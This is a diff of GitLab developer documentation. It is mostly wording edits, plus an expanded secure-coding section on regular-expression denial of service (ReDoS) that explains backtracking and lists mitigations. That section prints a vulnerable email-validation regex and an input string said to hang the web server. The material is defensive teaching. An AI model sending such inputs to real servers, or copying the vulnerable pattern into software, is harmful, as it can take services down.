- Delayed replicas.
@@ -126,11 +124,10 @@ the read replicas. [Omnibus ships with both repmgr and Patroni](../administratio
#### Load-balancing
GitLab EE has [application support for load balancing using read
-replicas](../administration/database_load_balancing.md). This load
-balancer does some smart things that are not traditionally available in
-standard load balancers. For example, the application will only consider a
-replica if its replication lag is low (e.g. WAL data behind by < 100
-megabytes).
+replicas](../administration/database_load_balancing.md). This load balancer does
+some actions that aren't traditionally available in standard load balancers. For
+example, the application considers a replica only if its replication lag is low
+(for example, WAL data behind by less than 100 MB).
More [details are in a blog
post](https://about.gitlab.com/blog/2017/10/02/scaling-the-gitlab-database/).
@@ -140,7 +137,7 @@ post](https://about.gitlab.com/blog/2017/10/02/scaling-the-gitlab-database/).
As PostgreSQL forks a backend process for each request, PostgreSQL has a
finite limit of connections that it can support, typically around 300 by
default. Without a connection pooler like PgBouncer, it's quite possible to
-hit connection limits. Once the limits are reached, then GitLab will generate
+hit connection limits. Once the limits are reached, then GitLab generates
errors or slow down as it waits for a connection to be available.
#### High availability
@@ -151,7 +148,7 @@ background job and/or Web requests. There are two ways to address this
limitation:
- Run multiple PgBouncer instances.
-- Use a multi-threaded connection pooler (e.g.
+- Use a multi-threaded connection pooler (for example,
[Odyssey](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7776).
On some Linux systems, it's possible to run [multiple PgBouncer instances on
@@ -192,9 +189,9 @@ connections gracefully.
There are three ways Redis is used in GitLab:
-- Queues. Sidekiq jobs marshal jobs into JSON payloads.
-- Persistent state. Session data, exclusive leases, etc.
-- Cache. Repository data (e.g. Branch and tag names), view partials, etc.
+- Queues: Sidekiq jobs marshal jobs into JSON payloads.
+- Persistent state: Session data and exclusive leases.
+- Cache: Repository data (like Branch and tag names) and view partials.
For GitLab instances running at scale, splitting Redis usage into
separate Redis clusters helps for two reasons:
@@ -206,8 +203,8 @@ For example, the cache instance can behave like an least-recently used
(LRU) cache by setting the `maxmemory` configuration option. That option
should not be set for the queues or persistent clusters because data
would be evicted from memory at random times. This would cause jobs to
-be dropped on the floor, which would cause many problems (e.g. merges
-not running, builds not updating, etc.).
+be dropped on the floor, which would cause many problems (like merges
+not running or builds not updating).
Sidekiq also polls its queues quite frequently, and this activity can
slow down other queries. For this reason, having a dedicated Redis
@@ -219,7 +216,7 @@ Redis process.
Single-core: Like PgBouncer, a single Redis process can only use one
core. It does not support multi-threading.
-Dumb secondaries: Redis secondaries (aka replicas) don't actually
+Dumb secondaries: Redis secondaries (also known as replicas) don't actually
handle any load. Unlike PostgreSQL secondaries, they don't even serve
read queries. They simply replicate data from the primary and take over
only when the primary fails.
@@ -236,7 +233,7 @@ election to determine a new leader.
No leader: A Redis cluster can get into a mode where there are no
primaries. For example, this can happen if Redis nodes are misconfigured
to follow the wrong node. Sometimes this requires forcing one node to
-become a primary via the [`REPLICAOF NO ONE`
+become a primary by using the [`REPLICAOF NO ONE`
command](https://redis.io/commands/replicaof).
### Sidekiq
@@ -254,14 +251,14 @@ The full list of jobs can be found in the
[`app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/app/workers)
and
[`ee/app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/workers)
-directories in the GitLab code base.
+directories in the GitLab codebase.
#### Runaway Queues
As jobs are added to the Sidekiq queue, Sidekiq worker threads need to
pull these jobs from the queue and finish them at a rate faster than
-they are added. When an imbalance occurs (e.g. delays in the database,
-slow jobs, etc.), Sidekiq queues can balloon and lead to runaway queues.
+they are added. When an imbalance occurs (for example, delays in the database
+or slow jobs), Sidekiq queues can balloon and lead to runaway queues.
In recent months, many of these queues have ballooned due to delays in
PostgreSQL, PgBouncer, and Redis. For example, PgBouncer saturation can
@@ -278,11 +275,11 @@ in a timely manner:
used to process each commit message in the push, but now it farms out
this to `ProcessCommitWorker`.
- Redistribute/gerrymander Sidekiq processes by queue
- types. Long-running jobs (e.g. relating to project import) can often
- squeeze out jobs that run fast (e.g. delivering e-mail). [This technique
+ types. Long-running jobs (for example, relating to project import) can often
+ squeeze out jobs that run fast (for example, delivering e-mail). [This technique
was used in to optimize our existing Sidekiq deployment](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7219#note_218019483).
- Optimize jobs. Eliminating unnecessary work, reducing network calls
- (e.g. SQL, Gitaly, etc.), and optimizing processor time can yield significant
+ (including SQL and Gitaly), and optimizing processor time can yield significant
benefits.
From the Sidekiq logs, it's possible to see which jobs run the most
diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md
index ebab0e59cc3..44a95f6e820 100644
--- a/doc/development/secure_coding_guidelines.md
+++ b/doc/development/secure_coding_guidelines.md
@@ -112,21 +112,43 @@ Here `params[:ip]` should not contain anything else but numbers and dots. Howeve
In most cases the anchors `\A` for beginning of text and `\z` for end of text should be used instead of `^` and `$`.
-## Denial of Service (ReDoS)
+## Denial of Service (ReDoS) / Catastrophic Backtracking
-[ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) is a possible attack if the attacker knows
-or controls the regular expression (regex) used, and is able to enter user input to match against the bad regular expression.
+When a regular expression (regex) is used to search for a string and can't find a match,
+it may then backtrack to try other possibilities.
+
+For example when the regex `.*!$` matches the string `hello!`, the `.*` first matches
+the entire string but then the `!` from the regex is unable to match because the
+character has already been used. In that case, the Ruby regex engine _backtracks_
+one character to allow the `!` to match.
+
+[ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
+is an attack in which the attacker knows or controls the regular expression used.
+The attacker may be able to enter user input that triggers this backtracking behavior in a
+way that increases execution time by several orders of magnitude.
### Impact
-The resource, for example Unicorn, Puma, or Sidekiq, can be made to hang as it takes a long time to evaluate the bad regex match.
+The resource, for example Unicorn, Puma, or Sidekiq, can be made to hang as it takes
+a long time to evaluate the bad regex match. The evaluation time may require manual
+termination of the resource.
### Examples
-GitLab-specific examples can be found in the following merge requests:
+Here are some GitLab-specific examples.
+
+User inputs used to create regular expressions:
+
+- [User-controlled filename](https://gitlab.com/gitlab-org/gitlab/-/issues/257497)
+- [User-controlled domain name](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25314)
+- [User-controlled email address](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25122#note_289087459)
-- [MR25314](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25314)
-- [MR25122](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25122#note_289087459)
+Hardcoded regular expressions with backtracking issues:
+
+- [Repository name validation](https://gitlab.com/gitlab-org/gitlab/-/issues/220019)
+- [Link validation](https://gitlab.com/gitlab-org/gitlab/-/issues/218753), and [a bypass](https://gitlab.com/gitlab-org/gitlab/-/issues/273771)
+- [Entity name validation](https://gitlab.com/gitlab-org/gitlab/-/issues/289934)
+- [Validating color codes](https://gitlab.com/gitlab-org/gitlab/commit/717824144f8181bef524592eab882dd7525a60ef)
Consider the following example application, which defines a check using a regular expression. A user entering `user@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!.com` as the email on a form will hang the web server.
@@ -141,22 +163,32 @@ class Email < ApplicationRecord
def domain_matches
errors.add(:email, 'does not match') if email =~ DOMAIN_MATCH
end
+end
```
### Mitigation
-GitLab has `Gitlab::UntrustedRegexp` which internally uses the [`re2`](https://github.com/google/re2/wiki/Syntax) library.
-By utilizing `re2`, we get a strict limit on total execution time, and a smaller subset of available regex features.
+#### Ruby
+
+GitLab has [`Gitlab::UntrustedRegexp`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/untrusted_regexp.rb)
+ which internally uses the [`re2`](https://github.com/google/re2/wiki/Syntax) library.
+`re2` does not support backtracking so we get constant execution time, and a smaller subset of available regex features.
All user-provided regular expressions should use `Gitlab::UntrustedRegexp`.
For other regular expressions, here are a few guidelines:
-- Remove unnecessary backtracking.
-- Avoid nested quantifiers if possible.
-- Try to be as precise as possible in your regex and avoid the `.` if something else can be used (e.g.: Use `_[^_]+_` instead of `_.*_` to match `_text here_`).
+- If there's a clean non-regex solution, such as `String#start_with?`, consider using it
+- Ruby supports some advanced regex features like [atomic groups](https://www.regular-expressions.info/atomic.html)
+and [possessive quantifiers](https://www.regular-expressions.info/possessive.html) that eleminate backtracking
+- Avoid nested quantifiers if possible (for example `(a+)+`)
+- Try to be as precise as possible in your regex and avoid the `.` if there's an alternative
+ - For example, Use `_[^_]+_` instead of `_.*_` to match `_text here_`
+- If in doubt, don't hesitate to ping `@gitlab-com/gl-security/appsec`
+
+#### Go
-An example can be found [in this commit](https://gitlab.com/gitlab-org/gitlab/commit/717824144f8181bef524592eab882dd7525a60ef).
+Go's [`regexp`](https://golang.org/pkg/regexp/) package uses `re2` and isn't vulnerable to backtracking issues.
## Further Links
@@ -299,7 +331,7 @@ Once you've [determined when and where](#setting-expectations) the user submitte
- Content placed inside [HTML URL GET parameters](https://youtu.be/2VFavqfDS6w?t=3494) need to be [URL-encoded](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#rule-5---url-escape-before-inserting-untrusted-data-into-html-url-parameter-values)
- [Additional contexts may require context-specific encoding](https://youtu.be/2VFavqfDS6w?t=2341).
-### Additional info
+### Additional information
#### XSS mitigation and prevention in Rails
@@ -466,7 +498,7 @@ where you can't avoid this:
characters, for example).
- Always use `--` to separate options from arguments.
-### Ruby
+#### Ruby
Consider using `system("command", "arg0", "arg1", ...)` whenever you can. This prevents an attacker
from concatenating commands.
@@ -475,7 +507,7 @@ For more examples on how to use shell commands securely, consult
[Guidelines for shell commands in the GitLab codebase](shell_commands.md).
It contains various examples on how to securely call OS commands.
-### Go
+#### Go
Go has built-in protections that usually prevent an attacker from successfully injecting OS commands.
@@ -558,4 +590,3 @@ In order to prevent this from happening, it is recommended to use the method `us
forbidden!(api_access_denied_message(user))
end
```
- \ No newline at end of file
diff --git a/doc/development/serializing_data.md b/doc/development/serializing_data.md
index 83a75eef556..f5924a44753 100644
--- a/doc/development/serializing_data.md
+++ b/doc/development/serializing_data.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Serializing Data
diff --git a/doc/development/service_measurement.md b/doc/development/service_measurement.md
index 571bbddb494..91fb8248db4 100644
--- a/doc/development/service_measurement.md
+++ b/doc/development/service_measurement.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Developers Guide to service measurement
@@ -19,7 +19,7 @@ The measuring module is a tool that allows to measure a service's execution, and
- RSS memory usage
- Server worker ID
-The measuring module will log these measurements into a structured log called [`service_measurement.log`](../administration/logs.md#service_measurementlog),
+The measuring module logs these measurements into a structured log called [`service_measurement.log`](../administration/logs.md#service_measurementlog),
as a single entry for each service execution.
For GitLab.com, `service_measurement.log` is ingested in Elasticsearch and Kibana as part of our monitoring solution.
@@ -43,7 +43,7 @@ DummyService.prepend(Measurable)
In case when you are prepending a module from the `EE` namespace with EE features, you need to prepend Measurable after prepending the `EE` module.
-This way, `Measurable` will be at the bottom of the ancestor chain, in order to measure execution of `EE` features as well:
+This way, `Measurable` is at the bottom of the ancestor chain, in order to measure execution of `EE` features as well:
```ruby
class DummyService
@@ -69,7 +69,7 @@ def extra_attributes_for_measurement
end
```
-After the measurement module is injected in the service, it will be behind a generic feature flag.
+After the measurement module is injected in the service, it is behind a generic feature flag.
To actually use it, you need to enable measuring for the desired service by enabling the feature flag.
### Enabling measurement using feature flags
diff --git a/doc/development/session.md b/doc/development/session.md
index a7f69f570c3..bee857da323 100644
--- a/doc/development/session.md
+++ b/doc/development/session.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Accessing session data
diff --git a/doc/development/sha1_as_binary.md b/doc/development/sha1_as_binary.md
index e69ba149cde..a7bb3001ddb 100644
--- a/doc/development/sha1_as_binary.md
+++ b/doc/development/sha1_as_binary.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Storing SHA1 Hashes As Binary
diff --git a/doc/development/shared_files.md b/doc/development/shared_files.md
index 2c6b1222cfb..859650c2e6c 100644
--- a/doc/development/shared_files.md
+++ b/doc/development/shared_files.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Shared files
@@ -12,7 +12,7 @@ etc. Having so many shared directories makes it difficult to deploy GitLab on
shared storage (e.g. NFS). Working towards GitLab 9.0 we are consolidating
these different directories under the `shared` directory.
-This means that if GitLab will start storing puppies in some future version
+This means that if GitLab begins storing puppies in some future version
then we should put them in `shared/puppies`. Temporary puppy files should be
stored in `shared/tmp`.
diff --git a/doc/development/shell_commands.md b/doc/development/shell_commands.md
index 25113b4ac29..db72454b482 100644
--- a/doc/development/shell_commands.md
+++ b/doc/development/shell_commands.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Guidelines for shell commands in the GitLab codebase
@@ -53,7 +53,7 @@ system(*%W(#{Gitlab.config.git.bin_path} branch -d -- #{branch_name}))
## Bypass the shell by splitting commands into separate tokens
-When we pass shell commands as a single string to Ruby, Ruby will let `/bin/sh` evaluate the entire string. Essentially, we are asking the shell to evaluate a one-line script. This creates a risk for shell injection attacks. It is better to split the shell command into tokens ourselves. Sometimes we use the scripting capabilities of the shell to change the working directory or set environment variables. All of this can also be achieved securely straight from Ruby
+When we pass shell commands as a single string to Ruby, Ruby lets `/bin/sh` evaluate the entire string. Essentially, we are asking the shell to evaluate a one-line script. This creates a risk for shell injection attacks. It is better to split the shell command into tokens ourselves. Sometimes we use the scripting capabilities of the shell to change the working directory or set environment variables. All of this can also be achieved securely straight from Ruby
```ruby
# Wrong
diff --git a/doc/development/shell_scripting_guide/index.md b/doc/development/shell_scripting_guide/index.md
index f447a0e0e72..6071ae3a09d 100644
--- a/doc/development/shell_scripting_guide/index.md
+++ b/doc/development/shell_scripting_guide/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Shell scripting standards and style guidelines
@@ -21,7 +21,7 @@ deviations from this guide, they should be described in the
## Avoid using shell scripts
-CAUTION: **Caution:**
+WARNING:
This is a must-read section.
Having said all of the above, we recommend staying away from shell scripts
@@ -72,8 +72,8 @@ shell check:
- shellcheck scripts/**/*.sh # path to your shell scripts
```
-TIP: **Tip:**
-By default, ShellCheck will use the [shell detection](https://github.com/koalaman/shellcheck/wiki/SC2148#rationale)
+NOTE:
+By default, ShellCheck uses the [shell detection](https://github.com/koalaman/shellcheck/wiki/SC2148#rationale)
to determine the shell dialect in use. If the shell file is out of your control and ShellCheck cannot
detect the dialect, use `-s` flag to specify it: `-s sh` or `-s bash`.
@@ -92,7 +92,7 @@ use this job:
```yaml
shfmt:
- image: mvdan/shfmt:v3.1.0-alpine
+ image: mvdan/shfmt:v3.2.0-alpine
stage: test
before_script:
- shfmt -version
@@ -100,14 +100,14 @@ shfmt:
- shfmt -i 2 -ci -d scripts # path to your shell scripts
```
-TIP: **Tip:**
-By default, shfmt will use the [shell detection](https://github.com/mvdan/sh#shfmt) similar to one of ShellCheck
+NOTE:
+By default, shfmt uses the [shell detection](https://github.com/mvdan/sh#shfmt) similar to one of ShellCheck
and ignore files starting with a period. To override this, use `-ln` flag to specify the shell dialect:
`-ln posix` or `-ln bash`.
## Testing
-NOTE: **Note:**
+NOTE:
This is a work in progress.
It is an [ongoing effort](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/64016) to evaluate different tools for the
diff --git a/doc/development/sidekiq_debugging.md b/doc/development/sidekiq_debugging.md
index e0f74b39c9a..a9b6e246861 100644
--- a/doc/development/sidekiq_debugging.md
+++ b/doc/development/sidekiq_debugging.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/troubleshooting/sidekiq.md'
---
This document was moved to [another location](../administration/troubleshooting/sidekiq.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md
index 13ae39997bc..e4f07f732cf 100644
--- a/doc/development/sidekiq_style_guide.md
+++ b/doc/development/sidekiq_style_guide.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Sidekiq Style Guide
@@ -27,7 +27,7 @@ After adding a new queue, run `bin/rake
gitlab:sidekiq:all_queues_yml:generate` to regenerate
`app/workers/all_queues.yml` or `ee/app/workers/all_queues.yml` so that
it can be picked up by
-[`sidekiq-cluster`](../administration/operations/extra_sidekiq_processes.md).
+[`sidekiq-cluster`](../administration/operations/extra_sidekiq_processes.md).
Additionally, run
`bin/rake gitlab:sidekiq:sidekiq_queues_yml:generate` to regenerate
`config/sidekiq_queues.yml`.
@@ -42,8 +42,8 @@ without needing to explicitly list all their queue names. If, for example, all
workers that are managed by `sidekiq-cron` use the `cronjob` queue namespace, we
can spin up a Sidekiq process specifically for these kinds of scheduled jobs.
If a new worker using the `cronjob` namespace is added later on, the Sidekiq
-process will automatically pick up jobs for that worker too (after having been
-restarted), without the need to change any configuration.
+process also picks up jobs for that worker (after having been restarted),
+without the need to change any configuration.
A queue namespace can be set using the `queue_namespace` DSL class method:
@@ -57,19 +57,19 @@ class SomeScheduledTaskWorker
end
```
-Behind the scenes, this will set `SomeScheduledTaskWorker.queue` to
-`cronjob:some_scheduled_task`. Commonly used namespaces will have their own
+Behind the scenes, this sets `SomeScheduledTaskWorker.queue` to
+`cronjob:some_scheduled_task`. Commonly used namespaces have their own
concern module that can easily be included into the worker class, and that may
set other Sidekiq options besides the queue namespace. `CronjobQueue`, for
example, sets the namespace, but also disables retries.
-`bundle exec sidekiq` is namespace-aware, and will automatically listen on all
+`bundle exec sidekiq` is namespace-aware, and listens on all
queues in a namespace (technically: all queues prefixed with the namespace name)
when a namespace is provided instead of a simple queue name in the `--queue`
(`-q`) option, or in the `:queues:` section in `config/sidekiq_queues.yml`.
Note that adding a worker to an existing namespace should be done with care, as
-the extra jobs will take resources away from jobs from workers that were already
+the extra jobs take resources away from jobs from workers that were already
there, if the resources available to the Sidekiq process handling the namespace
are not adjusted appropriately.
@@ -121,9 +121,8 @@ As a general rule, a worker can be considered idempotent if:
A good example of that would be a cache expiration worker.
-A job scheduled for an idempotent worker will automatically be
-[deduplicated](#deduplication) when an unstarted job with the same
-arguments is already in the queue.
+A job scheduled for an idempotent worker is [deduplicated](#deduplication) when
+an unstarted job with the same arguments is already in the queue.
### Ensuring a worker is idempotent
@@ -160,9 +159,8 @@ end
It's encouraged to only have the `idempotent!` call in the top-most worker class, even if
the `perform` method is defined in another class or module.
-If the worker class is not marked as idempotent, a cop will fail.
-Consider skipping the cop if you're not confident your job can safely
-run multiple times.
+If the worker class isn't marked as idempotent, a cop fails. Consider skipping
+the cop if you're not confident your job can safely run multiple times.
### Deduplication
@@ -230,7 +228,7 @@ end
#### Scheduling jobs in the future
GitLab doesn't skip jobs scheduled in the future, as we assume that
-the state will have changed by the time the job is scheduled to
+the state has changed by the time the job is scheduled to
execute. Deduplication of jobs scheduled in the feature is possible
for both `until_executed` and `until_executing` strategies.
@@ -251,26 +249,6 @@ module AuthorizedProjectUpdate
end
```
-#### Troubleshooting
-
-If the automatic deduplication were to cause issues in certain
-queues. This can be temporarily disabled by enabling a feature flag
-named `disable_<queue name>_deduplication`. For example to disable
-deduplication for the `AuthorizedProjectsWorker`, we would enable the
-feature flag `disable_authorized_projects_deduplication`.
-
-From ChatOps:
-
-```shell
-/chatops run feature set disable_authorized_projects_deduplication true
-```
-
-From the rails console:
-
-```ruby
-Feature.enable!(:disable_authorized_projects_deduplication)
-```
-
## Limited capacity worker
It is possible to limit the number of concurrent running jobs for a worker class
@@ -278,10 +256,10 @@ by using the `LimitedCapacity::Worker` concern.
The worker must implement three methods:
-- `perform_work` - the concern implements the usual `perform` method and calls
-`perform_work` if there is any capacity available.
-- `remaining_work_count` - number of jobs that will have work to perform.
-- `max_running_jobs` - maximum number of jobs allowed to run concurrently.
+- `perform_work`: The concern implements the usual `perform` method and calls
+ `perform_work` if there's any available capacity.
+- `remaining_work_count`: Number of jobs that have work to perform.
+- `max_running_jobs`: Maximum number of jobs allowed to run concurrently.
```ruby
class MyDummyWorker
@@ -303,7 +281,7 @@ end
Additional to the regular worker, a cron worker must be defined as well to
backfill the queue with jobs. the arguments passed to `perform_with_capacity`
-will be passed along to the `perform_work` method.
+are passed to the `perform_work` method.
```ruby
class ScheduleMyDummyCronWorker
@@ -318,10 +296,10 @@ end
### How many jobs are running?
-It will be running `max_running_jobs` at almost all times.
+It runs `max_running_jobs` at almost all times.
-The cron worker will check the remaining capacity on each execution and it
-will schedule at most `max_running_jobs` jobs. Those jobs on completion will
+The cron worker checks the remaining capacity on each execution and it
+schedules at most `max_running_jobs` jobs. Those jobs on completion
re-enqueue themselves immediately, but not on failure. The cron worker is in
charge of replacing those failed jobs.
@@ -329,11 +307,11 @@ charge of replacing those failed jobs.
This concern disables Sidekiq retries, logs the errors, and sends the job to the
dead queue. This is done to have only one source that produces jobs and because
-the retry would occupy a slot with a job that will be performed in the distant future.
+the retry would occupy a slot with a job to perform in the distant future.
We let the cron worker enqueue new jobs, this could be seen as our retry and
back off mechanism because the job might fail again if executed immediately.
-This means that for every failed job, we will be running at a lower capacity
+This means that for every failed job, we run at a lower capacity
until the cron worker fills the capacity again. If it is important for the
worker not to get a backlog, exceptions must be handled in `#perform_work` and
the job should not raise.
@@ -416,7 +394,7 @@ each of which represents a particular type of workload.
When changing a queue's urgency, or adding a new queue, we need to take
into account the expected workload on the new shard. Note that, if we're
changing an existing queue, there is also an effect on the old shard,
-but that will always be a reduction in work.
+but that always reduces work.
To do this, we want to calculate the expected increase in total execution time
and RPS (throughput) for the new shard. We can get these values from:
@@ -429,7 +407,7 @@ and RPS (throughput) for the new shard. We can get these values from:
- The [Shard Detail
dashboard](https://dashboards.gitlab.net/d/sidekiq-shard-detail/sidekiq-shard-detail)
has Total Execution Time and Throughput (RPS). The Shard Utilization
- panel will show if there is currently any excess capacity for this
+ panel displays if there is currently any excess capacity for this
shard.
We can then calculate the RPS * average runtime (estimated for new jobs)
@@ -454,7 +432,7 @@ Most background jobs in the GitLab application communicate with other GitLab
services. For example, PostgreSQL, Redis, Gitaly, and Object Storage. These are considered
to be "internal" dependencies for a job.
-However, some jobs will be dependent on external services in order to complete
+However, some jobs are dependent on external services in order to complete
successfully. Some examples include:
1. Jobs which call web-hooks configured by a user.
@@ -492,7 +470,7 @@ A job cannot be both high urgency and have external dependencies.
Workers that are constrained by CPU or memory resource limitations should be
annotated with the `worker_resource_boundary` method.
-Most workers tend to spend most of their time blocked, wait on network responses
+Most workers tend to spend most of their time blocked, waiting on network responses
from other services such as Redis, PostgreSQL, and Gitaly. Since Sidekiq is a
multi-threaded environment, these jobs can be scheduled with high concurrency.
@@ -505,8 +483,8 @@ hosting the process has. For IO bound workers, this is not a problem, since most
of the threads are blocked in underlying libraries (which are outside of the
GIL).
-If many threads are attempting to run Ruby code simultaneously, this will lead
-to contention on the GIL which will have the affect of slowing down all
+If many threads are attempting to run Ruby code simultaneously, this leads
+to contention on the GIL which has the effect of slowing down all
processes.
In high-traffic environments, knowing that a worker is CPU-bound allows us to
@@ -517,9 +495,9 @@ Likewise, if a worker uses large amounts of memory, we can run these on a
bespoke low concurrency, high memory fleet.
Note that memory-bound workers create heavy GC workloads, with pauses of
-10-50ms. This will have an impact on the latency requirements for the
+10-50ms. This has an impact on the latency requirements for the
worker. For this reason, `memory` bound, `urgency :high` jobs are not
-permitted and will fail CI. In general, `memory` bound workers are
+permitted and fail CI. In general, `memory` bound workers are
discouraged, and alternative approaches to processing the work should be
considered.
@@ -583,12 +561,11 @@ default weight, which is 1.
To have some more information about workers in the logs, we add
[metadata to the jobs in the form of an
`ApplicationContext`](logging.md#logging-context-metadata-through-rails-or-grape-requests).
-In most cases, when scheduling a job from a request, this context will
-already be deducted from the request and added to the scheduled
-job.
+In most cases, when scheduling a job from a request, this context is already
+deducted from the request and added to the scheduled job.
When a job runs, the context that was active when it was scheduled
-will be restored. This causes the context to be propagated to any job
+is restored. This causes the context to be propagated to any job
scheduled from within the running job.
All this means that in most cases, to add context to jobs, we don't
@@ -603,7 +580,7 @@ As with most our cops, there are perfectly valid reasons for disabling
them. In this case it could be that the context from the request is
correct. Or maybe you've specified a context already in a way that
isn't picked up by the cops. In any case, leave a code comment
-pointing to which context will be used when disabling the cops.
+pointing to which context to use when disabling the cops.
When you do provide objects to the context, make sure that the
route for namespaces and projects is pre-loaded. This can be done by using
@@ -699,7 +676,7 @@ blocks:
## Arguments logging
-As of GitLab 13.6, Sidekiq job arguments will be logged by default, unless [`SIDEKIQ_LOG_ARGUMENTS`](../administration/troubleshooting/sidekiq.md#log-arguments-to-sidekiq-jobs)
+As of GitLab 13.6, Sidekiq job arguments are logged by default, unless [`SIDEKIQ_LOG_ARGUMENTS`](../administration/troubleshooting/sidekiq.md#log-arguments-to-sidekiq-jobs)
is disabled.
By default, the only arguments logged are numeric arguments, because
@@ -820,7 +797,7 @@ This approach requires multiple releases.
##### Parameter hash
-This approach will not require multiple releases if an existing worker already
+This approach doesn't require multiple releases if an existing worker already
uses a parameter hash.
1. Use a parameter hash in the worker to allow future flexibility.
diff --git a/doc/development/single_table_inheritance.md b/doc/development/single_table_inheritance.md
index 51268092225..6b35d9f71da 100644
--- a/doc/development/single_table_inheritance.md
+++ b/doc/development/single_table_inheritance.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Single Table Inheritance
diff --git a/doc/development/sql.md b/doc/development/sql.md
index bf405eab688..f68ca44efa8 100644
--- a/doc/development/sql.md
+++ b/doc/development/sql.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SQL Query Guidelines
diff --git a/doc/development/swapping_tables.md b/doc/development/swapping_tables.md
index f633721ea9d..cb038a3b85a 100644
--- a/doc/development/swapping_tables.md
+++ b/doc/development/swapping_tables.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Swapping Tables
diff --git a/doc/development/telemetry/event_dictionary.md b/doc/development/telemetry/event_dictionary.md
index 53b7ddea095..bc230a46441 100644
--- a/doc/development/telemetry/event_dictionary.md
+++ b/doc/development/telemetry/event_dictionary.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/event_dictionary.md'
---
This document was moved to [another location](../product_analytics/event_dictionary.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/telemetry/index.md b/doc/development/telemetry/index.md
index 79ea80a52ea..24e83ffc524 100644
--- a/doc/development/telemetry/index.md
+++ b/doc/development/telemetry/index.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md'
---
This document was moved to [another location](../product_analytics/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
